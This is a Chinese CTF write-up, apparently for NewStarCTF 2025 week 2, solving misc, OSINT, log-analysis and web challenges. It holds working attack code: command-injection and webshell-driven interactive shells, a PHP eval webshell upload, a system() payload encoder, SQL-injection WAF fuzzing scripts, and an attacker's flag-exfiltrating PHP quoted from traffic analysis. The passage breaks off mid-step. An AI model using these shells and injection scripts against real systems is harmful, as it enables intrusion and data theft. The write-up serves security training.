  4. 数据窃取 (Frame 521): 服务器返回的响应中包含了一个关键的HTTP头 Cookie: token=R2FYdDNaaHhtWlMwS21TR0szRVZxSUF4QVV5c0hLVzlWZXN0MllwVmdDOUJUTlBaVlM9PQ==,这串Base64编码的字符串 R2FYdDNaaHhtWlMwS21TR0szRVZxSUF4QVV5c0hLVzlWZXN0MllwVmdDOUJUTlBaVlM9PQ== 就是被盗走的数据

分析攻击者上传的 crazy.php 文件(例如在 Frame 224Frame 451 中)的核心混淆逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 1. 读取flag并进行Base64编码
$flag = base64_encode(file_get_contents("/flag"));

// 2. 初始化一个空字符串
$hahahahahaha = '';

// 3. 将Base64编码后的flag每10个字符分割成一个块
foreach (str_split($flag, 10) as $part) {
// 4. 对每个块进行随机操作:要么字符串反转,要么ROT13加密
if (rand(0, 1)) {
$part = strrev($part); // 字符串反转
} else {
$part = str_rot13($part); // ROT13
}
// 5. 将处理后的块拼接起来
$hahahahahaha .= $part;
}
// 6. 将最终拼接的字符串再进行一次Base64编码,放入Cookie
// (这个逻辑在index.php中通过调用crazy.php里的code()函数实现)

对 Cookie 中的 token 值 R2FYdDNaaHhtWlMwS21TR0szRVZxSUF4QVV5c0hLVzlWZXN0MllwVmdDOUJUTlBaVlM9PQ== 进行 Base64解码得到:GaXt3ZhxmZS0KmSGK3EVqIAxAUysHKW9Vest2YpVgC9BTNPZVS==

脚本爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import base64
import re
from itertools import product

def rot13(s: str) -> str:
"""
对字符串进行ROT13操作
"""
result = ""
for char in s:
if 'a' <= char <= 'z':
result += chr((ord(char) - ord('a') + 13) % 26 + ord('a'))
elif 'A' <= char <= 'Z':
result += chr((ord(char) - ord('A') + 13) % 26 + ord('A'))
else:
result += char
return result

def is_valid_base64_chunk(s: str) -> bool:
"""
检查字符串块是否只包含有效的Base64内容字符 (A-Z, a-z, 0-9, +, /)
"""
return re.match(r'^[A-Za-z0-9+/]*$', s) is not None

# 1. 输入 $hahahahahaha
encoded_str = "GaXt3ZhxmZS0KmSGK3EVqIAxAUysHKW9Vest2YpVgC9BTNPZVS=="

# 2. 自动分块
chunks = [encoded_str[i:i+10] for i in range(0, len(encoded_str), 10)]
print(f"[*] Input string split into {len(chunks)} chunks:")
print(chunks)
print("-" * 30)

# 3. 分析每个块的可能性
all_possibilities = []
for i, chunk in enumerate(chunks):
if "=" in chunk:
all_possibilities.append([chunk])
continue

chunk_possibilities = []

# 可能性1: strrev
rev_strrev = chunk[::-1]
if is_valid_base64_chunk(rev_strrev):
chunk_possibilities.append(rev_strrev)

# 可能性2: rot13
rev_rot13 = rot13(chunk)
if is_valid_base64_chunk(rev_rot13):
chunk_possibilities.append(rev_rot13)

print(f"[*] Chunk {i+1}: '{chunk}' -> Found {len(chunk_possibilities)} possible reversals: {chunk_possibilities}")
all_possibilities.append(chunk_possibilities)

print("-" * 30)

# 4. 爆破所有组合并分析
found_flags = []

total_combinations = len(list(product(*all_possibilities)))
print(f"[*] Total combinations to test: {total_combinations}")

for combination in product(*all_possibilities):
candidate_b64 = "".join(combination)

# 5. 尝试解码并验证格式
try:
decoded_bytes = base64.b64decode(candidate_b64)
decoded_text = decoded_bytes.decode('utf-8')

if decoded_text.startswith('flag{'):
print(f"[+] SUCCESS: Found potential flag!")
print(f" - Reassembled B64: {candidate_b64}")
print(f" - Decoded Flag: {decoded_text}")
found_flags.append(decoded_text)

except (UnicodeDecodeError):
pass

if not found_flags:
print("[-] FAILED: No combination resulted in a valid flag format.")

FLAG

1
flag{What_1S_tHuSd4y_Quickly_VIVO50}

MISC城邦-NewKeyboard

Challenge

欢迎挑战者们来到第二周的Misc考核,本关由手持keyboard的侍卫看守能量核心,请挑战者们通过分析侍卫发出的流量获取最终的flag吧!

【难度:中等】

Solution

我们得到两个.pcapng流量包文件:

  1. abcdefghijklmnopqrstuvwxyz1234567890-_!{}.pcapng:文件名本身告诉了我们流量中按键的顺序,我们可以用它来建立 USB 数据和实际字符之间的映射关系

  2. newkeyboard.pcapng:这是目标文件,里面包含了未知的键盘输入

显然本题的任务是利用 abcdefghijklmnopqrstuvwxyz1234567890-_!{}.pcapng 建立映射表,然后根据此提取出 newkeyboard.pcapng 的输入

用 tshark 从两个 pcapng 文件中提取出 usbhid.data 字段的内容:

1
2
tshark -r abcdefghijklmnopqrstuvwxyz1234567890-_!{}.pcapng -Y "usbhid.data" -T fields -e usbhid.data > raw_keymap_data.txt
tshark -r newkeyboard.pcapng -Y "usbhid.data" -T fields -e usbhid.data > raw_target_data.txt

打开 raw_keymap_data.txt 进行分析,这些数据是没有分隔符的长字符串:

1
2
3
4
5
6
7
0100100000000000...  // 'a' 按下
0100000000000000... // 按键释放
0100200000000000... // 'b' 按下
0100000000000000... // 按键释放
...
0102000000000020... // '_' (Shift + -) 按下
...

通过观察,我们可以得出结论:

  • 数据是成对出现的“按下”和“释放”
  • “释放”事件的数据固定为 0100000000000000...
  • 按键信息似乎是一种位掩码 ,存储在数据的特定位置
  • 带有 Shift 的按键,其数据前缀会从 0100 变为 0102

深入分析 raw_keymap_data.txt 后发现在输入需要按 Shift 的特殊字符时会产生一些额外的中间状态数据包,例如:

  1. 按下 Shift- (产生 _ 的数据)
  2. 释放 -Shift 键可能还按着,产生了一个只有 Shift 状态的数据包
  3. 释放 Shift

手动清洗数据(只保留按下的,把释放按键的给删了,把脏数据给清除了)得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
01001000000000000000000000000000000000000000
01002000000000000000000000000000000000000000
01004000000000000000000000000000000000000000
01008000000000000000000000000000000000000000
01000001000000000000000000000000000000000000
01000002000000000000000000000000000000000000
01000004000000000000000000000000000000000000
01000008000000000000000000000000000000000000
01000010000000000000000000000000000000000000
01000020000000000000000000000000000000000000
01000040000000000000000000000000000000000000
01000080000000000000000000000000000000000000
01000000010000000000000000000000000000000000
01000000020000000000000000000000000000000000
01000000040000000000000000000000000000000000
01000000080000000000000000000000000000000000
01000000100000000000000000000000000000000000
01000000200000000000000000000000000000000000
01000000400000000000000000000000000000000000
01000000800000000000000000000000000000000000
01000000000100000000000000000000000000000000
01000000000200000000000000000000000000000000
01000000000400000000000000000000000000000000
01000000000800000000000000000000000000000000
01000000001000000000000000000000000000000000
01000000002000000000000000000000000000000000
01000000004000000000000000000000000000000000
01000000008000000000000000000000000000000000
01000000000001000000000000000000000000000000
01000000000002000000000000000000000000000000
01000000000004000000000000000000000000000000
01000000000008000000000000000000000000000000
01000000000010000000000000000000000000000000
01000000000020000000000000000000000000000000
01000000000040000000000000000000000000000000
01000000000080000000000000000000000000000000
01000000000000200000000000000000000000000000
01020000000000200000000000000000000000000000
01020000004000000000000000000000000000000000
01020000000000800000000000000000000000000000
01020000000000000100000000000000000000000000

再用脚本映射数据即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
known_chars = "abcdefghijklmnopqrstuvwxyz1234567890-_!{}"

keymap_file = "raw_keymap_data.txt"
target_file = "raw_target_data.txt"

data_to_char_map = {}
with open(keymap_file, 'r', encoding='utf-8') as f:
keymap_lines = [line.strip() for line in f if line.strip()]

data_to_char_map = dict(zip(keymap_lines, known_chars))

flag = ""

with open(target_file, 'r', encoding='utf-8') as f:
target_lines = [line.strip() for line in f if line.strip()]

for line in target_lines:
char = data_to_char_map.get(line)
if char:
flag += char

print(flag)

FLAG

1
flag{th1s_is_newkeyboard_y0u_get_it!}

美妙的音乐

Challenge

小明最近发现了一首好听的曲子,他把曲子发给你并邀请你一起欣赏,可是这个曲子似乎有什么不对劲的地方?

【难度:简单】

Solution

找个在线网站打开这个 midi 文件即可 https://signalmidi.app/

NewStarCTF2025-7

好听~

FLAG

1
flag{thi5_1S_m1Di_5tEG0}

OSINT-威胁情报

Challenge

城邦受到了未知APT组织的攻击,目前已解除威胁,但留下了恶意文件的hash值。为了以后的安全,请Newstar们进行调查,帮助城邦们完善威胁情报吧!flag格式:flag{apt组织名称_通信C2服务器域名_恶意文件编译时间(年-月-日)};所有字母全部小写

【难度:简单】

1
hash:2c796053053a571e9f913fd5bae3bb45e27a9f510eace944af4b331e802a4ba0

Solution

微步在线云沙箱 可以找到所有答案(在 ANY.RUN - Malware Sandbox Online 也是)

FLAG

1
flag{kimsuky_alps.travelmountain.ml_2021-03-31}

日志分析-不敬者的闯入

Challenge

在抗日战争暨世界反法西斯战争胜利80周年

前夕,城邦的临时工搭建了一个纪念网站,帮助人们恢复记忆。一些不法分子妄图破坏新世界的记忆,企图摧毁网站,幸好临时工及时止损关闭了该网站的服务,才保住了历史的记忆。请挑战者们通过保留的网站日志,帮助临时工找到不敬者的木马威胁,让临时工能保住这份来之不易的工作吧!

【难度:简单】

Solution

搜索 shell 找到好几条类似这样的数据

1
171.16.20.55 - - [30/Aug/2025:18:28:22 +0800] "GET /admin/Webshell HTTP/1.1" 200 63

(已经把 webshell 写脸上了

访问 /admin/Webshell 就能拿到 flag

1
<?php eavl($_POST['flag{e4f8406a-0cd4-4483-b288-221b5941ad65}'])?>

FLAG

1
flag{e4f8406a-0cd4-4483-b288-221b5941ad65}

Web

DD加速器

Challenge

D师傅在服务器上部署了一个加速器,并且提供一个页面来ping游戏服务器…

【难度:简单】

Solution

有命令注入漏洞,例如输入 ;id 就会返回 uid=33(www-data) gid=33(www-data) groups=33(www-data)

读取根目录的 flag 文件发现是 fake flag,然后注意到根目录下面有一个隐藏文件夹(名字是随机生成的),它的名字还很长

这说明后端对 target 参数的长度做了限制,因此将一个长命令分拆成多个短命令,在 /tmp 逐步构建一个脚本文件,最后再执行这个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import requests
from bs4 import BeautifulSoup

# 目标 URL
URL = ...

# 创建一个会话以保持连接
session = requests.Session()

def execute_command(command):
"""
发送带有注入命令的POST请求,并返回执行结果。
"""
# 构造注入 payload。分号(;)用于分隔前一个无效命令和我们想要执行的命令。
payload = {
'region': 'cn',
'target': f'; {command}'
}

try:
# 发送 POST 请求
response = session.post(URL, data=payload)
response.raise_for_status() # 如果请求失败(如404, 500),则抛出异常

# 使用 BeautifulSoup 解析返回的 HTML
soup = BeautifulSoup(response.text, 'html.parser')

# 找到包含结果的 <pre> 标签
result_tag = soup.find('pre')

if result_tag:
# 返回标签内的文本内容,并去除首尾空白
return result_tag.get_text().strip()
else:
return "[-] Error: Could not find the result tag in the response."

except requests.exceptions.RequestException as e:
return f"[-] An error occurred: {e}"

def main():
print("Target:", URL)
print("Type 'exit' or 'quit' to close the shell.")
print("-" * 45)

while True:
try:
# 获取用户输入的命令
cmd = input("shell> ")

# 检查退出条件
if cmd.lower() in ["exit", "quit"]:
print("Exiting.")
break

# 如果输入为空,则继续下一次循环
if not cmd:
continue

# 执行命令并获取结果
result = execute_command(cmd)

# 打印结果
print(result)

except KeyboardInterrupt:
print("\nExiting.")
break
except Exception as e:
print(f"An unexpected error occurred: {e}")
break

if __name__ == "__main__":
main()


"""
echo -n 'find /' >/tmp/q
echo -n ' -name ' >>/tmp/q
echo -n '"*fl' >>/tmp/q
echo -n 'ag*"' >>/tmp/q
echo -n ' 2>/dev' >>/tmp/q
echo -n '/null' >>/tmp/q
cat /tmp/q
sh /tmp/q


echo -n 'cat /.' >/tmp/w
echo -n '7si30mx' >>/tmp/w
echo -n '0bii6bl' >>/tmp/w
echo -n 'qz3d9oi' >>/tmp/w
echo -n '1vrvfz4' >>/tmp/w
echo -n '5g3d' >>/tmp/w
echo -n '/flag' >>/tmp/w
cat /tmp/w
sh /tmp/w
"""
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
shell> echo -n 'find /' >/tmp/q
执行失败
shell> echo -n ' -name ' >>/tmp/q
执行失败
shell> echo -n '"*fl' >>/tmp/q
执行失败
shell> echo -n 'ag*"' >>/tmp/q
执行失败
shell> echo -n ' 2>/dev' >>/tmp/q
执行失败
shell> echo -n '/null' >>/tmp/q
执行失败
shell> cat /tmp/q
find / -name "*flag*" 2>/dev/null
shell> sh /tmp/q
/usr/include/x86_64-linux-gnu/bits/waitflags.h
/usr/include/x86_64-linux-gnu/bits/ss_flags.h
/usr/include/x86_64-linux-gnu/asm/processor-flags.h
/usr/include/linux/kernel-page-flags.h
/usr/include/linux/tty_flags.h
/usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/ss_flags.ph
/usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/waitflags.ph
/usr/local/lib/php/build/ax_check_compile_flag.m4
/usr/share/dpkg/buildflags.mk
/usr/bin/dpkg-buildflags
/sys/kernel/mm/prezero/page_clear_engine/hw_flag_cc
/sys/devices/pnp0/00:04/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/pci0000:00/0000:00:06.0/virtio3/net/eth0/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/dummy0/flags
/sys/module/scsi_mod/parameters/default_dev_flags
/proc/sys/kernel/acpi_video_flags
/proc/kpageflags
/.7si30mx0bii6blqz3d9oi1vrvfz45g3d/flag
/flag
shell> echo -n 'cat /.' >/tmp/w
执行失败
shell> echo -n '7si30mx' >>/tmp/w
执行失败
shell> echo -n '0bii6bl' >>/tmp/w
执行失败
shell> echo -n 'qz3d9oi' >>/tmp/w
执行失败
shell> echo -n '1vrvfz4' >>/tmp/w
执行失败
shell> echo -n '5g3d' >>/tmp/w
执行失败
shell> echo -n '/flag' >>/tmp/w
执行失败
shell> cat /tmp/w
cat /.7si30mx0bii6blqz3d9oi1vrvfz45g3d/flag
shell> sh /tmp/w
flag{1a737c7c-1146-4fd4-a6d9-0bb447802cb0}

FLAG

1
flag{1a737c7c-1146-4fd4-a6d9-0bb447802cb0}

搞点哦润吉吃吃橘

Challenge

Doro把自己最心爱的橘子放在了保险冰箱中,为了一探究竟这橘子有多稀奇,你决定打开这个保险装置,但是遇到一些棘手的问题……

【难度:简单】

Solution

首先在页面原代码找到泄露的账密 Doro/Doro_nJlPVs_@123

登进去之后有一个小挑战,手动完成很容易超时,直接在控制台发包解题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
async function solveChallengeInConsole() {
try {
// 1. 模拟点击"开始验证"获取挑战参数
const startResponse = await fetch('/start_challenge', {
method: 'POST',
headers: { 'Content-Type': 'application/json' }
});
const challengeData = await startResponse.json();

// 2. 从返回的数据中解析出计算所需的变量
// 使用正则表达式从 expression 字符串中提取时间戳
const timestampMatch = challengeData.expression.match(/\((\d+)/);
if (!timestampMatch) {
console.error("无法解析时间戳");
return;
}

// 使用 BigInt 来处理可能超出 JavaScript 安全整数范围的大数计算
const timestamp = BigInt(timestampMatch[1]);
const multiplier = BigInt(challengeData.multiplier);
const xor_value = BigInt(challengeData.xor_value);

// 3. 根据公式计算 token
const token = (timestamp * multiplier) ^ xor_value;

// 4. 提交计算出的 token 进行验证
const verifyResponse = await fetch('/verify_token', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
// 将 BigInt 转换为普通 Number 类型再发送,因为 JSON 不支持 BigInt
body: JSON.stringify({ token: Number(token) })
});

const result = await verifyResponse.json();

// 5. 显示最终结果
if (result.success && result.flag) {
console.log(`%c${result.flag}`, "color: red; font-size: 16px; font-weight: bold;");
}

} catch (error) {
console.error(error);
}
}

solveChallengeInConsole();

FLAG

1
flag{5dc03b48-d56b-4225-920b-43fb837b6b39}

真的是签到诶

Challenge

到了 week2 的签到题目???真的是签到吗?真的是签到吗?真的是签到吗?

【难度:签到】

Solution

给 AI 写了一个交互式的 shell,然后读取根目录的 flag 文件就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import requests
import base64
import codecs

url = "https://eci-2ze3zu83b4b1t4z1khnk.cloudeci1.ichunqiu.com:80/"

def atbash(text):
"""Python implementation of the Atbash cipher."""
result = ''
for char in text:
if 'a' <= char.lower() <= 'z':
is_upper = char.isupper()
base = ord('A') if is_upper else ord('a')
offset = ord(char.lower()) - ord('a')
new_char_code = base + (25 - offset)
result += chr(new_char_code)
else:
result += char
return result

def create_payload(command):
"""Encodes a shell command into the final Base64 payload."""
command_no_spaces = command.replace(' ', '${IFS}')
php_command = f"system('{command_no_spaces}');"
payload_after_rot13 = codecs.encode(php_command, 'rot_13')
payload_after_atbash = atbash(payload_after_rot13)
final_payload = base64.b64encode(payload_after_atbash.encode('utf-8')).decode('utf-8')
return final_payload

# --- Main Interactive Loop ---
print(f"[*] Target URL: {url}")
print("Type 'exit' or 'quit' to close.")

while True:
try:
user_command = input("shell > ")
if user_command.lower() in ['exit', 'quit']:
print("Exiting.")
break
if not user_command:
continue

encoded_payload = create_payload(user_command)
data = {'cipher': encoded_payload}

response = requests.post(url, data=data, timeout=10)

response_text = response.text

# Define the text that comes BEFORE and AFTER our command output
start_marker = "</span>\n</code>"
end_marker = "真的是签到吗?"

if start_marker in response_text and end_marker in response_text:
# 1. Split the response by the start_marker and take the second part
temp_output = response_text.split(start_marker, 1)[1]

# 2. Split that result by the end_marker and take the first part
command_output = temp_output.split(end_marker, 1)[0].strip()

# 3. Print the clean output
if command_output:
print(command_output)
else:
# This handles commands that have no output (like `cd` or an empty `ls`)
print("(Command executed with no output)")
else:
# This block runs if the page structure is unexpected (e.g., environment expired)
print("\n[!] Error: Could not find the expected page structure.")
print(f" - HTTP Status Code: {response.status_code}")
print("\n --- Raw Server Response ---")
print(response.text)
print(" ---------------------------\n")

except KeyboardInterrupt:
print("\nExiting.")
break

FLAG

1
flag{da78849d-533f-462f-a159-774aeb27df56}

白帽小K的故事(1)

Challenge

小 K 为了成为最强的 NewStar,在阴差阳错之下来到了索拉里斯大陆,被风暴席卷的她飞到了黑海岸。在那里,泰提斯系统突然发难,漂泊者拜托小 K 解决难题。为了成为最强 NewStar,小 K 毅然接受了挑战!

【难度:困难】

Solution

可以上传文件,猜测是有文件上传漏洞

猜测后端没校验文件类型,直接写一个 Python 脚本发包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://.../v1/upload"

files = {
'file': (
"shell.php",
"<?php @eval($_POST['cmd']);?>",
'audio/mpeg'
)
}

response = requests.post(url, files=files, verify=False, timeout=10)
print(response.text)

# {"success":"File uploaded","file":"shell.php"}

然后直接连接 https://.../v1/music?file=shell.php 发现连不上,回来看提示说要看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// TODO:
// 小岸同学到时候记得把这个函数删掉
async function fetchload(file) {
try {
const res = await fetch('/v1/onload', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: `file=${encodeURIComponent(file)}`
});
const data = await res.json();
if (data.success) {
console.log('File content:', data.success);
} else {
console.error('Error loading file:', data.error);
}
} catch (e) {
console.error('Request failed', e);
}
}

用脚本连上去看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 目标URL
url = "https://.../v1/onload"

# webshell文件名
webshell_filename = "shell.php"

# webshell中接收命令的POST参数名
POST_PARAMETER_CMD = "cmd"

def run_command(command):
"""
通过 /v1/onload 接口包含并执行webshell里的命令
"""
escaped_command = command.replace("'", "'\\''")
php_payload = f"system('{escaped_command}');"

# 构造POST请求的数据
data = {
'file': webshell_filename,
POST_PARAMETER_CMD: php_payload
}

try:
response = requests.post(url, data=data, verify=False, timeout=15)

if response.status_code == 200:
try:
json_response = response.json()
if 'success' in json_response:
return json_response['success']
elif 'error' in json_response:
return f"Server Error: {json_response['error']}"
else:
return response.text
except requests.exceptions.JSONDecodeError:
return response.text
else:
return f"Error: Server returned status code {response.status_code}\nResponse: {response.text}"

except requests.exceptions.RequestException as e:
return f"Request failed: {e}"

def interactive_shell():
"""交互式shell"""
print(f"[*] Target endpoint: {url}")
print("[*] Type 'exit' or 'quit' to close the shell.")

while True:
try:
command_to_run = input("shell > ")

if command_to_run.lower() in ["exit", "quit"]:
break

if not command_to_run:
continue

result = run_command(command_to_run)
print(result)

except KeyboardInterrupt:
print("\n[*] Shell closed by user.")
break
except Exception as e:
print(f"An error occurred: {e}")
break

print("[*] Exiting webshell.")

if __name__ == "__main__":
interactive_shell()

在根目录发现 flag

FLAG

1
flag{717ef2a9-fbcf-42ab-bd1b-3d246c355992}

小E的管理系统

Challenge

小E开发了一个服务器管理系统,能实时监测服务器状态并显示出来。为了防止系统被入侵,小E特地给其中的查询功能上了防火墙,但是即便如此,这个系统依然脆弱不堪,只因为使用了原始的SQL拼接——你能绕过小E的防火墙,拿到数据库里的秘密吗?

【难度:困难】

Solution

Step 1: 确认注入点

最初的探测表明,id 参数存在可执行运算的特征,这是数字型注入的典型标志。

证据:

  • 请求 1: .../query.php?id=3%7C3 (URL编码的 3|3)

    1
    [{id: 3, cpu: "5%", ...}] 

    分析: 3|3 (按位或) 的结果是 3

  • 请求 2: .../query.php?id=3%7C4 (URL编码的 3|4)

    1
    [{id: 7, cpu: "78%", ...}]

    分析: 3|4 (按位或) 的结果是 7

结论: id 参数被直接拼接到 SQL 查询中,存在整数型注入漏洞。


Step 2: WAF 规则探测

探测哪些字符和语法被禁止

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
import requests
import urllib.parse
import time
from colorama import init, Fore, Style
init(autoreset=True)

# --- 配置区 ---
TARGET_URL_TEMPLATE = "https://.../query.php?id={payload}"
BLOCKED_STATUS_CODES = {403, 406}
BLOCKED_KEYWORDS = ["firewall blocked", "forbidden", "waf", "access denied"]

# --- Fuzzing 载荷区 ---
payloads_to_discover = {
"operators": [
"|", "&", "^", "~", "+", "-", "*", "/", "%", "<<", ">>"
],
"logic_comparisons": [
"=", ">", "<", "<>", "!=", "like", "regexp", "is"
],
"parentheses": [
"(", ")", "()"
],
"comments_and_whitespace": [
"/**/", # 内联注释
"/*comment*/", # 带内容的注释
"%0a", # 换行符 \n
"%0d", # 回车符 \r
"%09", # Tab符
" ", # 普通空格 (虽然被fuzz过,但单独再测)
"#comment", # MySQL 注释
"-- comment", # SQL 注释 (注意末尾空格)
],
"keyword_bypass_wrappers": [
"/*!{word}*/",
"/*!50000{word}*/", # MySQL 5.0+ 版本注释
]
}

def get_response(payload):
"""封装请求逻辑"""
try:
encoded_payload = urllib.parse.quote(payload, safe='')
url = TARGET_URL_TEMPLATE.format(payload=encoded_payload)
# print(f"{Style.DIM} -> Trying URL: {url}") # 取消注释以调试URL
response = requests.get(url, timeout=5)
return response
except requests.exceptions.RequestException as e:
print(f"{Fore.MAGENTA}[!] 网络错误 for payload '{payload}': {e}")
return None

def is_blocked(response):
"""判断是否被WAF拦截"""
if not response:
return True
if response.status_code in BLOCKED_STATUS_CODES:
return True
content = response.text.lower()
for keyword in BLOCKED_KEYWORDS:
if keyword in content:
return True
return False

def run_discovery():
"""主探测函数"""
print(f"{Fore.CYAN}[*] 正在建立响应基线...")

# 基线1: 正常成功的请求
baseline_success = get_response("3")
if is_blocked(baseline_success):
print(f"{Fore.RED}[!] 请检查URL和网络")
return
print(f"{Fore.GREEN}[+] 成功基线 (id=3): Status={baseline_success.status_code}, Length={len(baseline_success.text)}")

# 基线2: 正常失败/无结果的请求
baseline_notfound = get_response("999999")
print(f"{Fore.GREEN}[+] 未找到基线 (id=999999): Status={baseline_notfound.status_code}, Length={len(baseline_notfound.text)}")

print(f"\n{Fore.CYAN}[*] 开始进行基础功能探测...")

for category, items in payloads_to_discover.items():
print(f"\n{Fore.YELLOW}--- 正在探测类别: {category} ---")
for item in items:

# 对不同的类别使用不同的测试模板
if category == "operators":
# 模板: 3<op>4 -> 预期结果会改变 (如3|4=7)
test_payload = f"3{item}4"
elif category == "keyword_bypass_wrappers":
# 测试包装器能否藏住一个被禁的关键词
test_payload = item.format(word="union")
else:
# 模板: 3<payload> -> 预期结果不变或报错
test_payload = f"3{item}"

resp = get_response(test_payload)

if is_blocked(resp):
print(f"{Fore.RED}[-] BLOCKED : {test_payload}")
continue

# 如果没被拦截,分析响应
# 响应和成功基线完全一样,说明payload被忽略或等效
if resp.text == baseline_success.text:
print(f"{Fore.GREEN}[+] ALLOWED (Ignored/Equivalent): {test_payload}")
# 响应和未找到基线一样,说明payload造成了逻辑假
elif resp.text == baseline_notfound.text:
print(f"{Fore.CYAN}[+] ALLOWED (Resulted in False): {test_payload}")
# 响应内容不同,说明payload被执行并改变了结果!这是重大发现!
else:
print(f"{Fore.MAGENTA}{Style.BRIGHT}[*] POTENTIAL FIND! (Result Changed): {test_payload} -> Len={len(resp.text)}")

time.sleep(0.5)

if __name__ == "__main__":
run_discovery()

结论: 几乎所有常见的空白符、注释符、逗号和括号都被 WAF 拦截,唯一的例外是 Tab 字符 (%09),所有后续的 payload 都将使用 %09 代替空格


Step 3: 信息收集

确定真实列数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import requests
from colorama import init, Fore, Style
import sys
init(autoreset=True)

# --- 配置区 ---
# 请将此 URL 替换为您的目标 URL
BASE_URL = "https://.../query.php"
# 测试的最大列数
MAX_COLUMNS_TO_TEST = 25

def find_true_column_count():
"""
通过系统性地测试 ORDER BY 子句,来精确地确定 SQL 查询返回的真实列数
"""
print(f"{Fore.CYAN}[*] 目标 URL: {BASE_URL}")
print("-" * 50)

last_successful_count = 0

for i in range(1, MAX_COLUMNS_TO_TEST + 1):
# 构造 payload,例如: "1 order by 1", "1 order by 2", ...
# 使用 \t (制表符) 代替空格,requests 库会自动将其 URL 编码为 %09
payload = f"1\torder\tby\t{i}"
params = {'id': payload}

try:
print(f"{Style.DIM} -> 正在测试 ORDER BY {i}...", end="")

# 发送 GET 请求,设置一个合理的超时时间
resp = requests.get(BASE_URL, params=params, timeout=10)

# --- 判断逻辑 ---
# 成功的标志: HTTP 状态码为 200,并且响应内容中不包含已知的错误指示词。
# SQLite 的列数超出范围错误信息中通常包含 "out of range"。
if resp.status_code == 200 and "error" not in resp.text.lower() and "out of range" not in resp.text.lower():
print(f" -> {Fore.GREEN}成功")
# 如果成功,更新最后一次成功的计数值
last_successful_count = i
else:
# 任何非 200 状态码或包含错误信息的响应都意味着失败
print(f" -> {Fore.RED}失败!")
print(f" (状态码: {resp.status_code}, 响应片段: '{resp.text[:50].strip()}...')")

# 既然在第 i 列失败了,那么真实列数就是 i - 1
if last_successful_count > 0:
print("-" * 50)
print(f"{Fore.GREEN}{Style.BRIGHT}[+] 探测完成!")
print(f"{Fore.YELLOW} 查询在尝试第 {i} 列时失败。")
print(f"{Fore.YELLOW} 因此,原始查询的真实列数是: {last_successful_count}")
print("-" * 50)
return last_successful_count
else:
# 如果连 order by 1 都失败了,说明存在其他问题
print(f"{Fore.RED}[!] 错误: 'ORDER BY 1' 失败。请检查 URL、网络或 WAF 规则。")
return 0

except requests.exceptions.RequestException as e:
print(f" -> {Fore.RED}发生网络错误: {e}")
print(f"{Fore.RED}[!] 因网络问题导致测试中断。")
return 0

print(f"\n{Fore.YELLOW}[!] 警告: 测试已达到上限 ({MAX_COLUMNS_TO_TEST}列) 仍未失败。")
print(f" 查询可能支持超过 {last_successful_count} 列,或者判断逻辑需要调整。")
return last_successful_count


if __name__ == "__main__":
true_count = find_true_column_count()

if true_count > 0:
print(f"\n脚本执行完毕。最终确定的列数为 {true_count}。")
else:
print("\n脚本执行完毕,但未能确定列数。")

测试结果:
脚本在 ORDER BY 6 时失败,证明了原始查询的真实列数是 5

数据库指纹识别与结构探测:

1
2
3
4
5
